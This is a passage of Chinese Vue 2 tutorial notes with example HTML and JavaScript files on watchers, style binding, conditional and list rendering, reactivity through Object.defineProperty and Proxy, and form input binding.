  27. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  28. const vm = new Vue({
  29. el:'#root',
  30. data:{
  31. firstName:'张',
  32. lastName:'三',
  33. fullName:'张-三'
  34. },
  35. watch:{
  36. firstName(newValue){
  37. setTimeout(() =>{
  38. this.fullName = newValue + '-' + this.lastName
  39. },1000)
  40. },
  41. lastName(newValue){
  42. this.fullName = this.firstName + '-' + newValue
  43. }
  44. }
  45. })
  46. </script>
  47. </html>

绑定class样式与style样式

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>绑定样式</title>
  6. <style>
  7. .basic{
  8. width:400px;
  9. height: 100px;
  10. border:1px solid black;
  11. }
  12. .happy{
  13. border: 4px solid red;
  14. background-color: rgba(255,255,0,0.644);
  15. background: linear-gradient(30deg,yellow,pink,orange,yellow);
  16. }
  17. .sad{
  18. border: 4px solid green;
  19. background-color: rgba(255,255,0,0.644);
  20. background: linear-gradient(30deg,grey,blue,black);
  21. }
  22. .normal{
  23. border: 4px solid green;
  24. background-color: rgba(255,255,0,0.644);
  25. background: linear-gradient(30deg,green,blue,pink);
  26. }
  27. .atguigu1{
  28. background-color: green;
  29. }
  30. .atguigu2{
  31. font-size: 30px;
  32. }
  33. .atguigu3{
  34. border-radius: 15px;
  35. }
  36. </style>
  37. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  38. </head>
  39. <body>
  40. <div id="root">
  41. <!-- 绑定class样式--字符串写法 适用于:样式的类名不确定,需要动态指定-->
  42. <div class="basic" :class="mood" id="demo" @click="changeMood">{{name}}</div>
  43. <!-- 绑定class样式--数组写法 适用于:要绑定的样式个数不确定,名字也不要确定 -->
  44. <div class="basic" :class="arr">{{name}}</div>
  45. <!-- 绑定class样式--对象写法 适用于:要绑定的样式个数确定,名字也确定,但要动态决定用不用-->
  46. <div class="basic" :class="classObj">{{name}}</div>
  47. <!-- <div class="basic" style="font-size: 40px;">{{name}}</div> -->
  48. <!-- <div class="basic" :style="{fontSize: fsize+'px'}">{{name}}</div> -->
  49. <!-- 绑定style样式--对象写法 -->
  50. <div class="basic" :style="styleObj">{{name}}</div>
  51. <!-- 绑定style样式--数组写法 -->
  52. <div class="basic" :style="[styleObj,styleObj2]">{{name}}</div>
  53. <div class="basic" :style="styleArr">{{name}}</div>
  54. </div>
  55. </body>
  56. <script>
  57. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  58. const vm = new Vue({
  59. el:'#root',
  60. data:{
  61. name:'尚硅谷',
  62. mood:'normal',
  63. arr:['atguigu1','atguigu2','atguigu3'],
  64. classObj:{
  65. atguigu1:false,
  66. atguigu2:false,
  67. },
  68. styleObj:{
  69. fontSize: '40px',
  70. color:'red',
  71. },
  72. styleObj2:{
  73. backgroundColor:'orange'
  74. },
  75. styleArr:[
  76. {
  77. fontSize: '40px',
  78. color:'green',
  79. },
  80. {
  81. backgroundColor:'gray'
  82. }
  83. ]
  84. },
  85. methods:{
  86. changeMood(){
  87. // document.getElementById('demo').className = 'basic happy'
  88. // this.mood = 'happy'
  89. const arr = ['happy','sad','normal']
  90. const index = Math.floor(Math.random()*3)
  91. this.mood = arr[index]
  92. }
  93. }
  94. })
  95. </script>
  96. </html>

渲染

条件渲染

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>条件渲染</title>
  6. <!--
  7. 条件渲染:
  8. 1.v-if
  9. 写法:
  10. (1)v-if="表达式"
  11. (2)v-else-if="表达式"
  12. (3)v-else="表达式"
  13. 适用于:切换频率较低的场景。
  14. 特点:不展示的DOM元素直接被移除
  15. 注意:v-if可以和v-else-if,v-else一起使用,但要求结构不能被"打断"
  16. 2.v-show
  17. 写法:v-show="表达式"
  18. 适用于:切换频率较高的场景
  19. 特点:不展示的DOM元素未被移除,仅仅是使用样式隐蔽掉。
  20. 3.备注:使用v-if时,元素可能无法获取列,而使用v-show一定可以获取到。
  21. -->
  22. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  23. </head>
  24. <body>
  25. <div id="root">
  26. <h2>当前的n值是{{n}}</h2>
  27. <button @click="n++">点我n+1</button>
  28. <!-- 使用v-show做条件渲染 -->
  29. <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
  30. <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->
  31. <!-- 使用v-if做条件渲染 -->
  32. <!-- <h2 v-if="false">欢迎来到{{name}}</h2>
  33. <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->
  34. <!-- v-else和v-else-if v-if必须最开始使用,必须紧密相连连续起来,中间不能被打断 -->
  35. <!-- <div v-if="n === 1">Angular</div>
  36. <div v-else-if="n === 2">React</div>
  37. <div v-else-if="n === 3">Vue</div>
  38. <div v-else>hh</div> -->
  39. <!-- <div v-if="n === 1">
  40. <h2>你好</h2>
  41. <h2>尚硅谷</h2>
  42. <h2>北京</h2>
  43. </div> -->
  44. <!-- v-if和template的配合使用 -->
  45. <template v-if="n === 1">
  46. <h2>你好</h2>
  47. <h2>尚硅谷</h2>
  48. <h2>北京</h2>
  49. </template>
  50. </div>
  51. </body>
  52. <script>
  53. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  54. const vm = new Vue({
  55. el:'#root',
  56. data:{
  57. name:'尚硅谷',
  58. a:false,
  59. n:0
  60. },
  61. })
  62. </script>
  63. </html>

列表渲染

列表渲染-基本列表

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>基本列表</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. v-for指令
  10. 1.用于展示列表数据
  11. 2.语法:v-for="(item,index) in xxx" :key="yyy"
  12. 3.可遍历:数组,对象,字符串(用的很少),指定次数(用的很少)
  13. -->
  14. </head>
  15. <body>
  16. <!-- 准备好一个容器 -->
  17. <div id="root">
  18. <!-- 遍历数组 最多-->
  19. <h2>人员列表</h2>
  20. <ul>
  21. <li v-for="p in persons" :key="p.id">{{p.name}}--{{p.age}}</li>
  22. <li v-for="(a,b) in persons" >{{a}}--{{b}}</li>
  23. </ul>
  24. <!-- 遍历对象 中等-->
  25. <h2>汽车信息</h2>
  26. <ul>
  27. <li v-for="(value,k) of cars" :key="k">
  28. {{value}}--{{k}}
  29. </li>
  30. </ul>
  31. <!-- 遍历字符串 使用少-->
  32. <h2>测试遍历字符串</h2>
  33. <ul>
  34. <li v-for="(char,index) of str" :key="index">
  35. {{char}}--{{index}}
  36. </li>
  37. </ul>
  38. <!-- 遍历指定次数 使用少-->
  39. <h2>测试遍历指定次数</h2>
  40. <ul>
  41. <li v-for="(a,b) of 5">
  42. {{a}}--{{b}}
  43. </li>
  44. </ul>
  45. </div>
  46. </body>
  47. <script>
  48. const vm = new Vue({
  49. el:'#root',
  50. data:{
  51. persons:[
  52. {id:'001',name:'张三',age:18},
  53. {id:'002',name:'李四',age:19},
  54. {id:'003',name:'王五',age:20}
  55. ],
  56. cars:{
  57. name:'奥迪A8',
  58. price:'70万',
  59. color:'黑色'
  60. },
  61. str:'hello'
  62. }
  63. })
  64. </script>
  65. </html>

列表渲染-key的原理

 

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>列表渲染-key的原理</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. 面试题:react,vue中的key有什么作用(key的内部原理)
  10. 1.虚拟DOM中key的作用:
  11. key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】
  12. 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下
  13. 2.对比规则
  14. (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
  15. 1.若虚拟DOM中内容没变,直接使用之前的真实DOM
  16. 1.若虚拟DOM中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
  17. (2)旧虚拟DOM中未找到与新虚拟DOM相同的key,创建新的真实DOM,随后渲染到页面
  18. 3.用index作为key可能会引发的问题:
  19. 1.若对数据进行:逆序添加 ,逆序删除等破坏顺序操作:
  20. 会产生没有必要的真实DOM更新 ===> 界面效果没问题,但效率低。
  21. 2.如果结构中还包括输入类的DOM:
  22. 会产生错误的DOM更新 ===> 界面有问题
  23. 4.开发中如何选择key?
  24. 1.最好使用每条数据的唯一标识作为key,比如id,手机号,身份证号,学号等唯一值。
  25. 2.如果不存在对数据的逆序增加,逆序删除等破坏顺序操作,仅用在渲染列表用于展示,使用index作为key是没有问题的
  26. -->
  27. </head>
  28. <body>
  29. <!-- 准备好一个容器 -->
  30. <div id="root">
  31. <!-- 遍历数组 最多-->
  32. <h2>人员列表</h2>
  33. <button @click.once="add">添加一个老刘</button>
  34. <ul>
  35. <li v-for="(p,index) in persons" :key="index">
  36. {{p.name}}--{{p.age}}
  37. <input type="text" />
  38. </li>
  39. </ul>
  40. </div>
  41. </body>
  42. <script>
  43. const vm = new Vue({
  44. el:'#root',
  45. data:{
  46. persons:[
  47. {id:'001',name:'张三',age:18},
  48. {id:'002',name:'李四',age:19},
  49. {id:'003',name:'王五',age:20}
  50. ]
  51. },
  52. methods:{
  53. add(){
  54. const p = {id:'004',name:'老刘',age:40}
  55. this.persons.push(p)
  56. }
  57. }
  58. })
  59. </script>
  60. </html>

 列表渲染-列表过滤

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>列表渲染-列表过滤</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. </head>
  9. <body>
  10. <div id="root">
  11. <h2>人员列表</h2>
  12. <input type="text" placeholder="请输入名字" v-model="keyword"/>
  13. <ul>
  14. <li v-for="p in filPersons" :key="p.id">{{p.name}}--{{p.age}}--{{p.sex}}</li>
  15. </ul>
  16. </div>
  17. </body>
  18. <!-- <script>
  19. //用wahch实现
  20. const vm = new Vue({
  21. el:'#root',
  22. data:{
  23. keyword:'',
  24. persons:[
  25. {id:'001',name:'马冬梅',age:19,sex:'女'},
  26. {id:'002',name:'周冬雨',age:20,sex:'女'},
  27. {id:'003',name:'周杰伦',age:21,sex:'男'},
  28. {id:'004',name:'温兆伦',age:22,sex:'男'}
  29. ],
  30. filPersons:[
  31. ]
  32. },
  33. watch:{
  34. keyword:{
  35. //初始化时让handler调用一下,这样打开界面是有数据的
  36. immediate:true,
  37. handler(val){
  38. //注意,filter会返回一个全新的数组,用filPersons来接受这个新数组
  39. // console.log('keyward被改了',val)
  40. this.filPersons = this.persons.filter((p)=>{
  41. return p.name.indexOf(val) !== -1
  42. //基本功indexOf()
  43. })
  44. }
  45. }
  46. }
  47. })
  48. </script> -->
  49. <script>
  50. //用computed实现
  51. const vm = new Vue({
  52. el:'#root',
  53. data:{
  54. keyword:'',
  55. persons:[
  56. {id:'001',name:'马冬梅',age:19,sex:'女'},
  57. {id:'002',name:'周冬雨',age:20,sex:'女'},
  58. {id:'003',name:'周杰伦',age:21,sex:'男'},
  59. {id:'004',name:'温兆伦',age:22,sex:'男'}
  60. ],
  61. },
  62. computed:{
  63. filPersons(){
  64. //返回persons过滤p后的数据
  65. return this.persons.filter((p)=>{
  66. //先进行判断,p.name里面有没有要匹配的值。
  67. return p.name.indexOf(this.keyword) !== -1
  68. })
  69. }
  70. }
  71. })
  72. </script>
  73. </html>

列表渲染-列表排序

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>列表渲染-列表排序</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. </head>
  9. <body>
  10. <div id="root">
  11. <input type="text" placeholder="请输入名字" v-model="keyword" />
  12. <button @click="sortType = 2">年龄升序</button>
  13. <button @click="sortType = 1">年龄降序</button>
  14. <button @click="sortType = 0">原顺序</button>
  15. <ul>
  16. <li v-for="(p,index) of filPersons" :key="p.id">
  17. {{p.name}}--{{p.age}}--{{p.sex}}
  18. </li>
  19. </ul>
  20. </div>
  21. </body>
  22. <script>
  23. //用computed实现
  24. const vm = new Vue({
  25. el:'#root',
  26. data:{
  27. keyword:'',
  28. sortType:0,//0原顺序,1降序,2升序
  29. persons:[
  30. {id:'001',name:'马冬梅',age:30,sex:'女'},
  31. {id:'002',name:'周冬雨',age:25,sex:'女'},
  32. {id:'003',name:'周杰伦',age:33,sex:'男'},
  33. {id:'004',name:'温兆伦',age:20,sex:'男'}
  34. ],
  35. },
  36. computed:{
  37. filPersons(){
  38. const arr = this.persons.filter((p)=>{
  39. return p.name.indexOf(this.keyword) !== -1
  40. })
  41. //判断一下是否需要排序
  42. if(this.sortType){
  43. arr.sort((p1,p2)=>{
  44. //三目运算符,根据sortType的类型来决定age的顺序
  45. return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
  46. })
  47. }
  48. return arr
  49. }
  50. }
  51. })
  52. </script>
  53. </html>

列表渲染-更新时的一个问题

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>列表渲染-更新时的一个问题</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. </head>
  9. <body>
  10. <div id="root">
  11. <h2>人员列表</h2>
  12. <button @click="updateMei">更新马冬梅的信息</button>
  13. <ul>
  14. <li v-for="p of persons" :key="p.id">
  15. {{p.name}}--{{p.age}}--{{p.sex}}
  16. </li>
  17. </ul>
  18. </div>
  19. </body>
  20. <script>
  21. //用computed实现
  22. const vm = new Vue({
  23. el:'#root',
  24. data:{
  25. persons:[
  26. {id:'001',name:'马冬梅',age:30,sex:'女'},
  27. {id:'002',name:'周冬雨',age:25,sex:'女'},
  28. {id:'003',name:'周杰伦',age:33,sex:'男'},
  29. {id:'004',name:'温兆伦',age:20,sex:'男'}
  30. ],
  31. },
  32. methods:{
  33. updateMei(){
  34. // this.persons[0].name = '牛春杏' 奏效
  35. // this.persons[0].age = 50
  36. // this.persons[0].sex = '男'
  37. // this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} 不奏效
  38. this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
  39. }
  40. }
  41. })
  42. </script>
  43. </html>

列表渲染-Vue检测数据改变的原理(对象)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>列表渲染-Vue监测数据改变的原理(对象)</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. </head>
  9. <body>
  10. <div id="root">
  11. <h2>学校名称:{{name}}</h2>
  12. <h2>学校地址:{{address}}</h2>
  13. </div>
  14. </body>
  15. <script>
  16. const vm = new Vue({
  17. el:'#root',
  18. data:{
  19. name:'中北大学',
  20. address:'上兰村',
  21. student:{
  22. name:'Tom',
  23. age:{
  24. rAge:40,
  25. sAge:18
  26. },
  27. friends:[
  28. {name:'jerry',age:35}
  29. ]
  30. }
  31. }
  32. })
  33. </script>
  34. </html>

 列表渲染-模拟一个数据监测

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>列表渲染-模拟一个数据检测</title>
  6. <body>
  7. <div id="root">
  8. </div>
  9. </body>
  10. <script>
  11. let data = {
  12. a:1,
  13. name:'中北大学',
  14. address:'上兰村'
  15. }
  16. //创建一个监视的实例对象,用于监视data中属性的变化
  17. const obs = new Observer(data)
  18. console.log(obs)
  19. //准备一个vm实例对象
  20. let vm = {
  21. }
  22. vm._data = data = obs
  23. //创建一个监视对象
  24. function Observer(obj){
  25. //汇总对象中所有的属性,形成一个数组
  26. const keys = Object.keys(obj)
  27. //遍历
  28. keys.forEach((k)=>{
  29. //this 是 Observer
  30. Object.defineProperty(this,k,{
  31. get(){
  32. return obj[k]
  33. },
  34. set(val){
  35. console.log(`${k}被改了,我要去解析模板,生成虚拟DOM`)
  36. obj[k] = val
  37. }
  38. })
  39. })
  40. }
  41. //使用计时器
  42. // let tmp = '中北大学'
  43. // setInterval(()=>{
  44. // if(data.name !== tmp){
  45. // tmp = data.name
  46. // console.log('name被改了')
  47. // }
  48. // },100);
  49. //直接使用Object.defineProperty
  50. // Object.defineProperty(data,'name',{
  51. // get(){
  52. // return data.name
  53. // //造成了递归的死循环,然后会报错(内存满了)
  54. // },
  55. // set(val){
  56. // data.name = val
  57. // //造成了递归的死循环,然后会报错(内存满了)
  58. // }
  59. // })
  60. </script>
  61. </html>

 列表渲染-Vue.set的使用

 

 

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>列表渲染-Vue.set的使用</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. </head>
  9. <body>
  10. <div id="root">
  11. <h2>学校名称:{{school.name}}</h2>
  12. <h2>学校地址:{{school.address}}</h2>
  13. <h2>校长是:{{school.leader}}</h2>
  14. <br/>
  15. <h1>学生信息:</h1>
  16. <button @click="addSex">添加一个性别属性,默认值是男</button>
  17. <h2>学生姓名:{{student.name}}</h2>
  18. <h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
  19. <h2>学生年龄(真实):{{student.age.rAge}}</h2>
  20. <h2>学生年龄(对外):{{student.age.sAge}}</h2>
  21. <ul>
  22. <li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li>
  23. </ul>
  24. </div>
  25. </body>
  26. <script>
  27. const vm = new Vue({
  28. el:'#root',
  29. data:{
  30. school:{
  31. name:'中北大学',
  32. address:'上兰村',
  33. },
  34. student:{
  35. name:'Tom',
  36. age:{
  37. rAge:40,
  38. sAge:18
  39. },
  40. friends:[
  41. {name:'jerry',age:35},{name:'Tony',age:29}
  42. ]
  43. }
  44. },
  45. methods:{
  46. addSex(){
  47. // Vue.set(this.student,'sex','男')
  48. this.$set(this.student,'sex','男')
  49. }
  50. }
  51. })
  52. </script>
  53. </html>

列表渲染-Vue监测数据改变的原理(数组)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>列表渲染-Vue监测数据改变的原理(数组)</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. </head>
  9. <body>
  10. <div id="root">
  11. <h2>学校名称:{{school.name}}</h2>
  12. <h2>学校地址:{{school.address}}</h2>
  13. <h2>校长是:{{school.leader}}</h2>
  14. <br/>
  15. <h1>学生信息:</h1>
  16. <button @click="addSex">添加一个性别属性,默认值是男</button>
  17. <h2>学生姓名:{{student.name}}</h2>
  18. <h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
  19. <h2>学生年龄(真实):{{student.age.rAge}}</h2>
  20. <h2>学生年龄(对外):{{student.age.sAge}}</h2>
  21. <h2>爱好</h2>
  22. <ul>
  23. <li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
  24. </ul>
  25. <h2>朋友们</h2>
  26. <ul>
  27. <li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li>
  28. </ul>
  29. </div>
  30. </body>
  31. <script>
  32. const vm = new Vue({
  33. el:'#root',
  34. data:{
  35. school:{
  36. name:'中北大学',
  37. address:'上兰村',
  38. },
  39. student:{
  40. name:'Tom',
  41. age:{
  42. rAge:40,
  43. sAge:18
  44. },
  45. hobby:['抽烟','喝酒','烫头'],
  46. friends:[
  47. {name:'jerry',age:35},{name:'Tony',age:29}
  48. ]
  49. }
  50. },
  51. methods:{
  52. addSex(){
  53. // Vue.set(this.student,'sex','男')
  54. this.$set(this.student,'sex','男')
  55. }
  56. }
  57. })
  58. </script>
  59. </html>

列表渲染-总结Vue数据监测

 

 后添加的Jack属性也是响应式的!

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>列表渲染-总结Vue数据监测</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. Vue监视数据的原理:
  10. 1. vue会监视data中所有层次的数据。
  11. 2. 如何监测对象中的数据?
  12. 通过setter实现监视,且要在new Vue时就传入要监测的数据
  13. (1) 对象中后追加的属性,Vue默认不做响应式处理
  14. (2) 如需给后添加的属性做相应式,请使用如下API:
  15. Vue.set(target,propertyName/index,value)或
  16. vm.$set(target,propertyName/index,value)
  17. 3.如何监测数组中的数据?
  18. 通过包裹数组更新元素的方法实现,本质就是做了两件事:
  19. (1) 调用原生对应的方法对数组进行更新
  20. (2) 重新解析模板,进而更新页面
  21. 4.在Vue修改数组中的某个元素一定要用如下方法:
  22. (1) 使用这些API:push(),pop(),shift(),unshift(),splice(),sort(),reverse()
  23. (2) Vue.set() 或 vm.$set()
  24. 特别注意:Vue.set() 和 vm.$set() 不能给 vm 或 vm的跟数据对象 添加属性!!!
  25. -->
  26. </head>
  27. <body>
  28. <!-- 准备好一个容器-->
  29. <div id="root">
  30. <h1>学生信息</h1>
  31. <button @click="student.age++">年龄加1岁</button><br/>
  32. <button @click="addSex">添加性别属性,默认值:男</button><br/>
  33. <button @click="student.sex = '未知' ">修改性别</button><br/>
  34. <button @click="addFriend">在列表首位添加一个朋友</button><br/>
  35. <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button><br/>
  36. <button @click="addHobby">添加一个爱好</button><br/>
  37. <button @click="updateHobby">修改第一个爱好为:开车</button><br/>
  38. <button @click="removeSmoke">过滤到爱好中的抽烟</button>
  39. <h3>姓名:{{student.name}}</h3>
  40. <h3>年龄:{{student.age}}</h3>
  41. <h3 v-if="student.sex">性别: {{student.sex}}</h3>
  42. <h3>爱好:</h3>
  43. <ul>
  44. <li v-for="(h,index) in student.hobby" :key="index">
  45. {{h}}
  46. </li>
  47. </ul>
  48. <h3>朋友们</h3>
  49. <ul>
  50. <li v-for="(f,index) in student.friends" :key="index">
  51. {{f.name}}--{{f.age}}
  52. </li>
  53. </ul>
  54. </div>
  55. </body>
  56. <script>
  57. const vm = new Vue({
  58. el:'#root',
  59. data:{
  60. student:{
  61. name:'Tom',
  62. age:18,
  63. hobby:[
  64. '抽烟','喝酒','烫头'
  65. ],
  66. friends:[
  67. {name:'jerry',age:35},
  68. {name:'tony',age:30}
  69. ]
  70. }
  71. },
  72. methods:{
  73. addSex(){
  74. //Vue.set(this.student,'sex','男')
  75. vm.$set(this.student,'sex','男')
  76. },
  77. addFriend(){
  78. this.student.friends.unshift({name:'jack',age:70})
  79. },
  80. updateFirstFriendName(){
  81. this.student.friends[0].name = '张三'
  82. this.student.friends[0].age = 15
  83. },
  84. addHobby(){
  85. this.student.hobby.push('学习')
  86. },
  87. updateHobby(){
  88. // this.student.hobby.splice(0,1,'开车')
  89. Vue.set(this.student.hobby,0,'开车')
  90. },
  91. removeSmoke(){
  92. this.student.hobby = this.student.hobby.filter((h)=>{
  93. return h !== '抽烟'
  94. })
  95. }
  96. }
  97. })
  98. </script>
  99. </html>

数据劫持与数据代理

数据劫持


指的是在访问或者修改对象的某个属性时,通过一段代码拦截这个行为,进行额外的操作或者修改返回结果。
比较典型的是Object.defineProperty()和 ES2016 中新增的Proxy对象。数据劫持最著名的应用当属双向绑定,这也是一个已经被讨论烂了的面试必考题。例如 Vue 2.x 使用的是Object.defineProperty()(Vue 在 3.x 版本之后改用 Proxy 进行实现)。


一、Object.defineProperty


Vue 的双向绑定已经升级为前端面试的必考题,原理我就不再重复了,网上一大片。简单来说就是利用 Object.defineProperty(),并且把内部解耦为 Observer, Dep, 并使用 Watcher 相连。
Object.defineProperty()的问题主要有三个:

1、不能监听数组的变化

  1. let arr = [1,2,3]
  2. let obj = {}
  3. Object.defineProperty(obj, 'arr', {
  4. get () {
  5. console.log('get arr')
  6. return arr
  7. },
  8. set (newVal) {
  9. console.log('set', newVal)
  10. arr = newVal
  11. }
  12. })
  13. obj.arr.push(4) // 只会打印 get arr, 不会打印 set
  14. obj.arr = [1,2,3,4] // 这个能正常 set

数组的以下几个方法不会触发 set:

push
pop
shift
unshift
splice
sort
reverse
Vue 把这些方法定义为变异方法 (mutation method),指的是会修改原来数组的方法。与之对应则是非变异方法 (non-mutating method),例如 filter, concat, slice 等,它们都不会修改原始数组,而会返回一个新的数组。Vue 官网有相关文档讲述这个问题。

2、必须遍历对象的每个属性

使用 Object.defineProperty() 多数要配合 Object.keys() 和遍历,于是多了一层嵌套。如:

  1. Object.keys(obj).forEach(key => {
  2. Object.defineProperty(obj, key, {
  3. // ...
  4. })
  5. })

3、必须深层遍历嵌套的对象

所谓的嵌套对象,是指类似

  1. let obj = {
  2.   info: {
  3.     name: 'eason'
  4.   }
  5. }

如果是这一类嵌套对象,那就必须逐层遍历,直到把每个对象的每个属性都调用Object.defineProperty()为止。 Vue 的源码中就能找到这样的逻辑 (叫做 walk 方法)。


4、造成的问题

造成所谓的响应式数据,DOM无法进行更新。

  1. var vm = new Vue({
  2. data:{
  3. a:1
  4. }
  5. })
  6. // `vm.a` 是响应式的
  7. vm.b = 2
  8. // `vm.b` 是非响应式的

对于已经创建的实例,Vue 不允许动态添加根级别的响应式属性。但是,可以使用 Vue.set(object, propertyName, value) 方法向嵌套对象添加响应式属性。例如,对于:

Vue.set(vm.someObject, 'b', 2)

您还可以使用 vm.$set 实例方法,这也是全局 Vue.set 方法的别名:

this.$set(this.someObject,'b',2)

有时你可能需要为已有对象赋值多个新属性,比如使用 Object.assign() 或 _.extend()。但是,这样添加到对象上的新属性不会触发更新。在这种情况下,你应该用原对象与要混合进去的对象的属性一起创建一个新的对象。

  1. // 代替 `Object.assign(this.someObject, { a: 1, b: 2 })`
  2. this.someObject = Object.assign({}, this.someObject, { a: 1, b: 2 })

 也有一些数组相关的注意事项,之前已经在列表渲染中讲过。

二、Proxy 

在数据劫持这个问题上,Proxy 可以被认为是 Object.defineProperty()的升级版。外界对某个对象的访问,都必须经过这层拦截。因此它是针对 整个对象,而不是 对象的某个属性,所以也就不需要对 keys 进行遍历。这解决了上述 Object.defineProperty()的第二个问题。

  1. let obj = {
  2. name: 'Eason',
  3. age: 30
  4. }
  5. let handler = {
  6. get (target, key, receiver) {
  7. console.log('get', key)
  8. return Reflect.get(target, key, receiver)
  9. },
  10. set (target, key, value, receiver) {
  11. console.log('set', key, value)
  12. return Reflect.set(target, key, value, receiver)
  13. }
  14. }
  15. let proxy = new Proxy(obj, handler)
  16. proxy.name = 'Zoe' // set name Zoe
  17. proxy.age = 18 // set age 18

一道面试题

什么样的 a 可以满足 (a === 1 && a === 2 && a === 3) === true 呢?(注意是 3 个 =,也就是严格相等)???

  1. Object.defineProperty(window, 'a', {
  2. get () {
  3. current++
  4. return current
  5. }
  6. })
  7. console.log(a === 1 && a === 2 && a === 3) // true

收集表单数据

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>收集表单数据</title><script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  6. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  7. <!--
  8. 收集表单数据
  9. 若:<input type="text" />,则v-model收集的是value值,用户输入的就是value值。
  10. 若:<input type="radio" />,则v-model收集的是value值,且要给标签配置value值。
  11. 若:<input type="checkbox" />
  12. 1.没有配置input的value属性,那么收集的就是checked(勾选 or 非勾选,是布尔值)
  13. 2.配置input的value属性:
  14. (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 非勾选,是布尔值)
  15. (2)v=model的初始值是数组,那么手机的就是value组成的数组
  16. 备注:v-model的三个修饰符
  17. lazy:失去焦点再收集数据
  18. number:输入字符串转为有效数字
  19. trim:输入首位空格过滤
  20. -->
  21. </head>
  22. <body>
  23. <div id="root">
  24. <form @submit.prevent="demo">
  25. 账号:<input type="text" v-model.trim="account"/> <br/><br/>
  26. 密码:<input type="password" v-model="password"/> <br/><br/>
  27. 年龄:<input type="number" v-model.number="age"/> <br/><br/>
  28. 性别:
  29. <input type="radio" name="sex" v-model="sex" value="male"/>
  30. <input type="radio" name="sex" v-model="sex" value="female"/> <br/><br/>
  31. 爱好:
  32. 学习<input type="checkbox" value="study" v-model="hobby"/>
  33. 打游戏<input type="checkbox" value="game" v-model="hobby"/>
  34. 吃饭<input type="checkbox" value="eat" v-model="hobby"/> <br/><br/>
  35. 所属校区
  36. <select v-model="city">
  37. <option vlaue="select">请选择校区</option>
  38. <option value="beijing">北京</option>
  39. <option value="shanghai">上海</option>
  40. <option value="shenzhen">深圳</option>
  41. <option value="wuhan">武汉</option>
  42. </select>
  43. <br/><br/>
  44. 其他信息:
  45. <textarea v-model.lazy="other"></textarea><br/><br/>
  46. <input type="checkbox" v-model="agree"/>阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
  47. <button>提交</button>
  48. </form>
  49. </div>
  50. </body>
  51. <script>
  52. const vm = new Vue({
  53. el:'#root',
  54. data:{
  55. account:'',
  56. password:'',
  57. sex:'',
  58. age:'',
  59. hobby:[
  60. ],
  61. city:'',
  62. other:'',
  63. agree:''
  64. },
  65. methods:{
  66. demo(){
  67. console.log(JSON.stringify(this._data))
  68. }
  69. }
  70. })
  71. </script>
  72. </html>

过滤器

